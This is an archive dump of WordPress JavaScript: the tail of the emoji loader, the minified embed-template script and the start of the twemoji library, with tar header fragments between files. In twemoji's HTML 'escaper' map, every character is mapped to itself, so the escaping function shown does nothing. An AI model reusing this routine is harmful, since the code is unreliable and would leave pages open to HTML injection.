e.imgAttr}),n.parse(u,t)):u}return l&&(l.DOMReady?s():l.readyCallback=s),{parse:f,test:d}}}(window,window._wpemojiSettings); wp-embed-template.min.js 0000644 00000006146 15111757752 0011217 0 ustar 00 /*! This file is auto-generated */ !function(c,u){"use strict";var r,t,e,a=u.querySelector&&c.addEventListener,f=!1;function b(e,t){c.parent.postMessage({message:e,value:t,secret:r},"*")}function m(){b("height",Math.ceil(u.body.getBoundingClientRect().height))}function n(){if(!f){f=!0;var e,r=u.querySelector(".wp-embed-share-dialog"),t=u.querySelector(".wp-embed-share-dialog-open"),a=u.querySelector(".wp-embed-share-dialog-close"),n=u.querySelectorAll(".wp-embed-share-input"),i=u.querySelectorAll(".wp-embed-share-tab-button button"),s=u.querySelector(".wp-embed-featured-image img");if(n)for(e=0;e<n.length;e++)n[e].addEventListener("click",function(e){e.target.select()});if(t&&t.addEventListener("click",function(){r.className=r.className.replace("hidden",""),u.querySelector('.wp-embed-share-tab-button [aria-selected="true"]').focus()}),a&&a.addEventListener("click",function(){o()}),i)for(e=0;e<i.length;e++)i[e].addEventListener("click",d),i[e].addEventListener("keydown",l);u.addEventListener("keydown",function(e){var t;27===e.keyCode&&-1===r.className.indexOf("hidden")?o():9===e.keyCode&&(e=e,t=u.querySelector('.wp-embed-share-tab-button [aria-selected="true"]'),a!==e.target||e.shiftKey?t===e.target&&e.shiftKey&&(a.focus(),e.preventDefault()):(t.focus(),e.preventDefault()))},!1),c.self!==c.top&&(m(),s&&s.addEventListener("load",m),u.addEventListener("click",function(e){var t=((t=e.target).hasAttribute("href")?t:t.parentElement).getAttribute("href");event.altKey||event.ctrlKey||event.metaKey||event.shiftKey||t&&(b("link",t),e.preventDefault())}))}function o(){r.className+=" hidden",u.querySelector(".wp-embed-share-dialog-open").focus()}function d(e){var t=u.querySelector('.wp-embed-share-tab-button [aria-selected="true"]');t.setAttribute("aria-selected","false"),u.querySelector("#"+t.getAttribute("aria-controls")).setAttribute("aria-hidden","true"),e.target.setAttribute("aria-selected","true"),u.querySelector("#"+e.target.getAttribute("aria-controls")).setAttribute("aria-hidden","false")}function l(e){var t,r=e.target,a=r.parentElement.previousElementSibling,n=r.parentElement.nextElementSibling;if(37===e.keyCode)t=a;else{if(39!==e.keyCode)return!1;t=n}(t="rtl"===u.documentElement.getAttribute("dir")?t===a?n:a:t)&&(e=t.firstElementChild,r.setAttribute("tabindex","-1"),r.setAttribute("aria-selected",!1),u.querySelector("#"+r.getAttribute("aria-controls")).setAttribute("aria-hidden","true"),e.setAttribute("tabindex","0"),e.setAttribute("aria-selected","true"),e.focus(),u.querySelector("#"+e.getAttribute("aria-controls")).setAttribute("aria-hidden","false"))}}a&&(!function e(){c.self===c.top||r||(r=c.location.hash.replace(/.*secret=([\d\w]{10}).*/,"$1"),clearTimeout(t),t=setTimeout(function(){e()},100))}(),u.documentElement.className=u.documentElement.className.replace(/\bno-js\b/,"")+" js",u.addEventListener("DOMContentLoaded",n,!1),c.addEventListener("load",n,!1),c.addEventListener("resize",function(){c.self!==c.top&&(clearTimeout(e),e=setTimeout(m,100))},!1),c.addEventListener("message",function(e){var t=e.data;t&&e.source===c.parent&&(t.secret||t.message)&&t.secret===r&&"ready"===t.message&&m()},!1))}(window,document); twemoji.js 0000644 00000101263 15111757752 0006576 0 ustar 00 /*jslint indent: 2, browser: true, bitwise: true, plusplus: true */ var twemoji = (function ( /*! Copyright Twitter Inc. and other contributors. Licensed under MIT *//* https://github.com/jdecked/twemoji/blob/gh-pages/LICENSE */ // WARNING: this file is generated automatically via // `node scripts/build.js` // please update its `createTwemoji` function // at the bottom of the same file instead. ) { 'use strict'; /*jshint maxparams:4 */ var // the exported module object twemoji = { ///////////////////////// // properties // ///////////////////////// // default assets url, by default will be jsDelivr CDN base: 'https://cdn.jsdelivr.net/gh/jdecked/twemoji@16.0.1/assets/', // default assets file extensions, by default '.png' ext: '.png', // default assets/folder size, by default "72x72" // available via jsDelivr: 72 size: '72x72', // default class name, by default 'emoji' className: 'emoji', // basic utilities / helpers to convert code points // to JavaScript surrogates and vice versa convert: { /** * Given an HEX codepoint, returns UTF16 surrogate pairs. * * @param string generic codepoint, i.e. '1F4A9' * @return string codepoint transformed into utf16 surrogates pair, * i.e. \uD83D\uDCA9 * * @example * twemoji.convert.fromCodePoint('1f1e8'); * // "\ud83c\udde8" * * '1f1e8-1f1f3'.split('-').map(twemoji.convert.fromCodePoint).join('') * // "\ud83c\udde8\ud83c\uddf3" */ fromCodePoint: fromCodePoint, /** * Given UTF16 surrogate pairs, returns the equivalent HEX codepoint. * * @param string generic utf16 surrogates pair, i.e. \uD83D\uDCA9 * @param string optional separator for double code points, default='-' * @return string utf16 transformed into codepoint, i.e. '1F4A9' * * @example * twemoji.convert.toCodePoint('\ud83c\udde8\ud83c\uddf3'); * // "1f1e8-1f1f3" * * twemoji.convert.toCodePoint('\ud83c\udde8\ud83c\uddf3', '~'); * // "1f1e8~1f1f3" */ toCodePoint: toCodePoint }, ///////////////////////// // methods // ///////////////////////// /** * User first: used to remove missing images * preserving the original text intent when * a fallback for network problems is desired. * Automatically added to Image nodes via DOM * It could be recycled for string operations via: * $('img.emoji').on('error', twemoji.onerror) */ onerror: function onerror() { if (this.parentNode) { this.parentNode.replaceChild(createText(this.alt, false), this); } }, /** * Main method/logic to generate either <img> tags or HTMLImage nodes. * "emojify" a generic text or DOM Element. * * @overloads * * String replacement for `innerHTML` or server side operations * twemoji.parse(string); * twemoji.parse(string, Function); * twemoji.parse(string, Object); * * HTMLElement tree parsing for safer operations over existing DOM * twemoji.parse(HTMLElement); * twemoji.parse(HTMLElement, Function); * twemoji.parse(HTMLElement, Object); * * @param string|HTMLElement the source to parse and enrich with emoji. * * string replace emoji matches with <img> tags. * Mainly used to inject emoji via `innerHTML` * It does **not** parse the string or validate it, * it simply replaces found emoji with a tag. * NOTE: be sure this won't affect security. * * HTMLElement walk through the DOM tree and find emoji * that are inside **text node only** (nodeType === 3) * Mainly used to put emoji in already generated DOM * without compromising surrounding nodes and * **avoiding** the usage of `innerHTML`. * NOTE: Using DOM elements instead of strings should * improve security without compromising too much * performance compared with a less safe `innerHTML`. * * @param Function|Object [optional] * either the callback that will be invoked or an object * with all properties to use per each found emoji. * * Function if specified, this will be invoked per each emoji * that has been found through the RegExp except * those follwed by the invariant \uFE0E ("as text"). * Once invoked, parameters will be: * * iconId:string the lower case HEX code point * i.e. "1f4a9" * * options:Object all info for this parsing operation * * variant:char the optional \uFE0F ("as image") * variant, in case this info * is anyhow meaningful. * By default this is ignored. * * If such callback will return a falsy value instead * of a valid `src` to use for the image, nothing will * actually change for that specific emoji. * * * Object if specified, an object containing the following properties * * callback Function the callback to invoke per each found emoji. * base string the base url, by default twemoji.base * ext string the image extension, by default twemoji.ext * size string the assets size, by default twemoji.size * * @example * * twemoji.parse("I \u2764\uFE0F emoji!"); * // I <img class="emoji" draggable="false" alt="❤️" src="/assets/2764.gif"/> emoji! * * * twemoji.parse("I \u2764\uFE0F emoji!", function(iconId, options) { * return '/assets/' + iconId + '.gif'; * }); * // I <img class="emoji" draggable="false" alt="❤️" src="/assets/2764.gif"/> emoji! * * * twemoji.parse("I \u2764\uFE0F emoji!", { * size: 72, * callback: function(iconId, options) { * return '/assets/' + options.size + '/' + iconId + options.ext; * } * }); * // I <img class="emoji" draggable="false" alt="❤️" src="/assets/72x72/2764.png"/> emoji! * */ parse: parse, /** * Given a string, invokes the callback argument * per each emoji found in such string. * This is the most raw version used by * the .parse(string) method itself. * * @param string generic string to parse * @param Function a generic callback that will be * invoked to replace the content. * This callback will receive standard * String.prototype.replace(str, callback) * arguments such: * callback( * rawText, // the emoji match * ); * * and others commonly received via replace. */ replace: replace, /** * Simplify string tests against emoji. * * @param string some text that might contain emoji * @return boolean true if any emoji was found, false otherwise. * * @example * * if (twemoji.test(someContent)) { * console.log("emoji All The Things!"); * } */ test: test }, // used to escape HTML special chars in attributes escaper = { '&': '&', '<': '<', '>': '>', "'": ''', '"': '"' }, // RegExp based on emoji's official Unicode standards // http://www.unicode.org/Public/UNIDATA/EmojiSources.txt re = /(?:\ud83d\udc68\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffc-\udfff]|\ud83e\uddd1\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb\udffd-\udfff]|\ud83e\uddd1\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb\udffc\udffe\udfff]|\ud83e\uddd1\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb-\udffd\udfff]|\ud83e\uddd1\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb-\udffe]|\ud83d\udc68\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffc-\udfff]|\ud83d\udc68\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffd-\udfff]|\ud83d\udc68\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffc\udffe\udfff]|\ud83d\udc68\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffd\udfff]|\ud83d\udc68\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffe]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffc-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffc-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffd-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb\udffd-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffc\udffe\udfff]|\ud83d\udc69\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb\udffc\udffe\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffd\udfff]|\ud83d\udc69\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb-\udffd\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffe]|\ud83d\udc69\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb-\udffe]|\ud83e\uddd1\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffc-\udfff]|\ud83e\uddd1\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb\udffd-\udfff]|\ud83e\uddd1\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb\udffc\udffe\udfff]|\ud83e\uddd1\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb-\udffd\udfff]|\ud83e\uddd1\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb-\udffe]|\ud83e\uddd1\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68|\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d[\udc68\udc69]|\ud83e\udef1\ud83c\udffb\u200d\ud83e\udef2\ud83c[\udffc-\udfff]|\ud83e\udef1\ud83c\udffc\u200d\ud83e\udef2\ud83c[\udffb\udffd-\udfff]|\ud83e\udef1\ud83c\udffd\u200d\ud83e\udef2\ud83c[\udffb\udffc\udffe\udfff]|\ud83e\udef1\ud83c\udffe\u200d\ud83e\udef2\ud83c[\udffb-\udffd\udfff]|\ud83e\udef1\ud83c\udfff\u200d\ud83e\udef2\ud83c[\udffb-\udffe]|\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc68|\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d[\udc68\udc69]|\ud83e\uddd1\u200d\ud83e\udd1d\u200d\ud83e\uddd1|\ud83d\udc6b\ud83c[\udffb-\udfff]|\ud83d\udc6c\ud83c[\udffb-\udfff]|\ud83d\udc6d\ud83c[\udffb-\udfff]|\ud83d\udc8f\ud83c[\udffb-\udfff]|\ud83d\udc91\ud83c[\udffb-\udfff]|\ud83e\udd1d\ud83c[\udffb-\udfff]|\ud83d[\udc6b-\udc6d\udc8f\udc91]|\ud83e\udd1d)|(?:\ud83d[\udc68\udc69]|\ud83e\uddd1)(?:\ud83c[\udffb-\udfff])?\u200d(?:\u2695\ufe0f|\u2696\ufe0f|\u2708\ufe0f|\ud83c[\udf3e\udf73\udf7c\udf84\udf93\udfa4\udfa8\udfeb\udfed]|\ud83d[\udcbb\udcbc\udd27\udd2c\ude80\ude92]|\ud83e[\uddaf-\uddb3\uddbc\uddbd])(?:\u200d\u27a1\ufe0f)?|(?:\ud83c[\udfcb\udfcc]|\ud83d[\udd74\udd75]|\u26f9)((?:\ud83c[\udffb-\udfff]|\ufe0f)\u200d[\u2640\u2642]\ufe0f(?:\u200d\u27a1\ufe0f)?)|(?:\ud83c[\udfc3\udfc4\udfca]|\ud83d[\udc6e\udc70\udc71\udc73\udc77\udc81\udc82\udc86\udc87\ude45-\ude47\ude4b\ude4d\ude4e\udea3\udeb4-\udeb6]|\ud83e[\udd26\udd35\udd37-\udd39\udd3d\udd3e\uddb8\uddb9\uddcd-\uddcf\uddd4\uddd6-\udddd])(?:\ud83c[\udffb-\udfff])?\u200d[\u2640\u2642]\ufe0f(?:\u200d\u27a1\ufe0f)?|(?:\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83e\uddd1\u200d\ud83e\uddd1\u200d\ud83e\uddd2\u200d\ud83e\uddd2|\ud83d\udc68\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d[\udc66\udc67]|\ud83e\uddd1\u200d\ud83e\uddd1\u200d\ud83e\uddd2|\ud83e\uddd1\u200d\ud83e\uddd2\u200d\ud83e\uddd2|\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f|\ud83c\udff3\ufe0f\u200d\ud83c\udf08|\ud83d\ude36\u200d\ud83c\udf2b\ufe0f|\u26d3\ufe0f\u200d\ud83d\udca5|\u2764\ufe0f\u200d\ud83d\udd25|\u2764\ufe0f\u200d\ud83e\ude79|\ud83c\udf44\u200d\ud83d\udfeb|\ud83c\udf4b\u200d\ud83d\udfe9|\ud83c\udff4\u200d\u2620\ufe0f|\ud83d\udc15\u200d\ud83e\uddba|\ud83d\udc26\u200d\ud83d\udd25|\ud83d\udc3b\u200d\u2744\ufe0f|\ud83d\udc41\u200d\ud83d\udde8|\ud83d\udc68\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d[\udc66\udc67]|\ud83d\udc6f\u200d\u2640\ufe0f|\ud83d\udc6f\u200d\u2642\ufe0f|\ud83d\ude2e\u200d\ud83d\udca8|\ud83d\ude35\u200d\ud83d\udcab|\ud83d\ude42\u200d\u2194\ufe0f|\ud83d\ude42\u200d\u2195\ufe0f|\ud83e\udd3c\u200d\u2640\ufe0f|\ud83e\udd3c\u200d\u2642\ufe0f|\ud83e\uddd1\u200d\ud83e\uddd2|\ud83e\uddde\u200d\u2640\ufe0f|\ud83e\uddde\u200d\u2642\ufe0f|\ud83e\udddf\u200d\u2640\ufe0f|\ud83e\udddf\u200d\u2642\ufe0f|\ud83d\udc08\u200d\u2b1b|\ud83d\udc26\u200d\u2b1b)|[#*0-9]\ufe0f?\u20e3|(?:[©®\u2122\u265f]\ufe0f)|(?:\ud83c[\udc04\udd70\udd71\udd7e\udd7f\ude02\ude1a\ude2f\ude37\udf21\udf24-\udf2c\udf36\udf7d\udf96\udf97\udf99-\udf9b\udf9e\udf9f\udfcd\udfce\udfd4-\udfdf\udff3\udff5\udff7]|\ud83d[\udc3f\udc41\udcfd\udd49\udd4a\udd6f\udd70\udd73\udd76-\udd79\udd87\udd8a-\udd8d\udda5\udda8\uddb1\uddb2\uddbc\uddc2-\uddc4\uddd1-\uddd3\udddc-\uddde\udde1\udde3\udde8\uddef\uddf3\uddfa\udecb\udecd-\udecf\udee0-\udee5\udee9\udef0\udef3]|[\u203c\u2049\u2139\u2194-\u2199\u21a9\u21aa\u231a\u231b\u2328\u23cf\u23ed-\u23ef\u23f1\u23f2\u23f8-\u23fa\u24c2\u25aa\u25ab\u25b6\u25c0\u25fb-\u25fe\u2600-\u2604\u260e\u2611\u2614\u2615\u2618\u2620\u2622\u2623\u2626\u262a\u262e\u262f\u2638-\u263a\u2640\u2642\u2648-\u2653\u2660\u2663\u2665\u2666\u2668\u267b\u267f\u2692-\u2697\u2699\u269b\u269c\u26a0\u26a1\u26a7\u26aa\u26ab\u26b0\u26b1\u26bd\u26be\u26c4\u26c5\u26c8\u26cf\u26d1\u26d3\u26d4\u26e9\u26ea\u26f0-\u26f5\u26f8\u26fa\u26fd\u2702\u2708\u2709\u270f\u2712\u2714\u2716\u271d\u2721\u2733\u2734\u2744\u2747\u2757\u2763\u2764\u27a1\u2934\u2935\u2b05-\u2b07\u2b1b\u2b1c\u2b50\u2b55\u3030\u303d\u3297\u3299])(?:\ufe0f|(?!\ufe0e))|(?:(?:\ud83c[\udfcb\udfcc]|\ud83d[\udd74\udd75\udd90]|\ud83e\udef0|[\u261d\u26f7\u26f9\u270c\u270d])(?:\ufe0f|(?!\ufe0e))|(?:\ud83c\udfc3|\ud83d\udeb6|\ud83e\uddce)(?:\ud83c[\udffb-\udfff])?(?:\u200d\u27a1\ufe0f)?|(?:\ud83c[\udf85\udfc2\udfc4\udfc7\udfca]|\ud83d[\udc42\udc43\udc46-\udc50\udc66-\udc69\udc6e\udc70-\udc78\udc7c\udc81-\udc83\udc85-\udc87\udcaa\udd7a\udd95\udd96\ude45-\ude47\ude4b-\ude4f\udea3\udeb4\udeb5\udec0\udecc]|\ud83e[\udd0c\udd0f\udd18-\udd1c\udd1e\udd1f\udd26\udd30-\udd39\udd3d\udd3e\udd77\uddb5\uddb6\uddb8\uddb9\uddbb\uddcd\uddcf\uddd1-\udddd\udec3-\udec5\udef1-\udef8]|[\u270a\u270b]))(?:\ud83c[\udffb-\udfff])?|(?:\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f|\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc73\udb40\udc63\udb40\udc74\udb40\udc7f|\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc77\udb40\udc6c\udb40\udc73\udb40\udc7f|\ud83c\udde6\ud83c[\udde8-\uddec\uddee\uddf1\uddf2\uddf4\uddf6-\uddfa\uddfc\uddfd\uddff]|\ud83c\udde7\ud83c[\udde6\udde7\udde9-\uddef\uddf1-\uddf4\uddf6-\uddf9\uddfb\uddfc\uddfe\uddff]|\ud83c\udde8\ud83c[\udde6\udde8\udde9\uddeb-\uddee\uddf0-\uddf7\uddfa-\uddff]|\ud83c\udde9\ud83c[\uddea\uddec\uddef\uddf0\uddf2\uddf4\uddff]|\ud83c\uddea\ud83c[\udde6\udde8\uddea\uddec\udded\uddf7-\uddfa]|\ud83c\uddeb\ud83c[\uddee-\uddf0\uddf2\uddf4\uddf7]|\ud83c\uddec\ud83c[\udde6\udde7\udde9-\uddee\uddf1-\uddf3\uddf5-\uddfa\uddfc\uddfe]|\ud83c\udded\ud83c[\uddf0\uddf2\uddf3\uddf7\uddf9\uddfa]|\ud83c\uddee\ud83c[\udde8-\uddea\uddf1-\uddf4\uddf6-\uddf9]|\ud83c\uddef\ud83c[\uddea\uddf2\uddf4\uddf5]|\ud83c\uddf0\ud83c[\uddea\uddec-\uddee\uddf2\uddf3\uddf5\uddf7\uddfc\uddfe\uddff]|\ud83c\uddf1\ud83c[\udde6-\udde8\uddee\uddf0\uddf7-\uddfb\uddfe]|\ud83c\uddf2\ud83c[\udde6\udde8-\udded\uddf0-\uddff]|\ud83c\uddf3\ud83c[\udde6\udde8\uddea-\uddec\uddee\uddf1\uddf4\uddf5\uddf7\uddfa\uddff]|\ud83c\uddf4\ud83c\uddf2|\ud83c\uddf5\ud83c[\udde6\uddea-\udded\uddf0-\uddf3\uddf7-\uddf9\uddfc\uddfe]|\ud83c\uddf6\ud83c\udde6|\ud83c\uddf7\ud83c[\uddea\uddf4\uddf8\uddfa\uddfc]|\ud83c\uddf8\ud83c[\udde6-\uddea\uddec-\uddf4\uddf7-\uddf9\uddfb\uddfd-\uddff]|\ud83c\uddf9\ud83c[\udde6\udde8\udde9\uddeb-\udded\uddef-\uddf4\uddf7\uddf9\uddfb\uddfc\uddff]|\ud83c\uddfa\ud83c[\udde6\uddec\uddf2\uddf3\uddf8\uddfe\uddff]|\ud83c\uddfb\ud83c[\udde6\udde8\uddea\uddec\uddee\uddf3\uddfa]|\ud83c\uddfc\ud83c[\uddeb\uddf8]|\ud83c\uddfd\ud83c\uddf0|\ud83c\uddfe\ud83c[\uddea\uddf9]|\ud83c\uddff\ud83c[\udde6\uddf2\uddfc]|\ud83c[\udccf\udd8e\udd91-\udd9a\udde6-\uddff\ude01\ude32-\ude36\ude38-\ude3a\ude50\ude51\udf00-\udf20\udf2d-\udf35\udf37-\udf7c\udf7e-\udf84\udf86-\udf93\udfa0-\udfc1\udfc5\udfc6\udfc8\udfc9\udfcf-\udfd3\udfe0-\udff0\udff4\udff8-\udfff]|\ud83d[\udc00-\udc3e\udc40\udc44\udc45\udc51-\udc65\udc6a\udc6f\udc79-\udc7b\udc7d-\udc80\udc84\udc88-\udc8e\udc90\udc92-\udca9\udcab-\udcfc\udcff-\udd3d\udd4b-\udd4e\udd50-\udd67\udda4\uddfb-\ude44\ude48-\ude4a\ude80-\udea2\udea4-\udeb3\udeb7-\udebf\udec1-\udec5\uded0-\uded2\uded5-\uded7\udedc-\udedf\udeeb\udeec\udef4-\udefc\udfe0-\udfeb\udff0]|\ud83e[\udd0d\udd0e\udd10-\udd17\udd20-\udd25\udd27-\udd2f\udd3a\udd3c\udd3f-\udd45\udd47-\udd76\udd78-\uddb4\uddb7\uddba\uddbc-\uddcc\uddd0\uddde-\uddff\ude70-\ude7c\ude80-\ude89\ude8f-\udec2\udec6\udece-\udedc\udedf-\udee9]|[\u23e9-\u23ec\u23f0\u23f3\u267e\u26ce\u2705\u2728\u274c\u274e\u2753-\u2755\u2795-\u2797\u27b0\u27bf\ue50a])|\ufe0f/g, // avoid runtime RegExp creation for not so smart, // not JIT based, and old browsers / engines UFE0Fg = /\uFE0F/g, // avoid using a string literal like '\u200D' here because minifiers expand it inline U200D = String.fromCharCode(0x200D), // used to find HTML special chars in attributes rescaper = /[&<>'"]/g, // nodes with type 1 which should **not** be parsed shouldntBeParsed = /^(?:iframe|noframes|noscript|script|select|style|textarea)$/, // just a private shortcut fromCharCode = String.fromCharCode; return twemoji; ///////////////////////// // private functions // // declaration // ///////////////////////// /** * Shortcut to create text nodes * @param string text used to create DOM text node * @return Node a DOM node with that text */ function createText(text, clean) { return document.createTextNode(clean ? text.replace(UFE0Fg, '') : text); } /** * Utility function to escape html attribute text * @param string text use in HTML attribute * @return string text encoded to use in HTML attribute */ function escapeHTML(s) { return s.replace(rescaper, replacer); } /** * Default callback used to generate emoji src * based on jsDelivr CDN * @param string the emoji codepoint string * @param string the default size to use, i.e. "36x36" * @return string the image source to use */ function defaultImageSrcGenerator(icon, options) { return ''.concat(options.base, options.size, '/', icon, options.ext); } /** * Given a generic DOM nodeType 1, walk through all children * and store every nodeType 3 (#text) found in the tree. 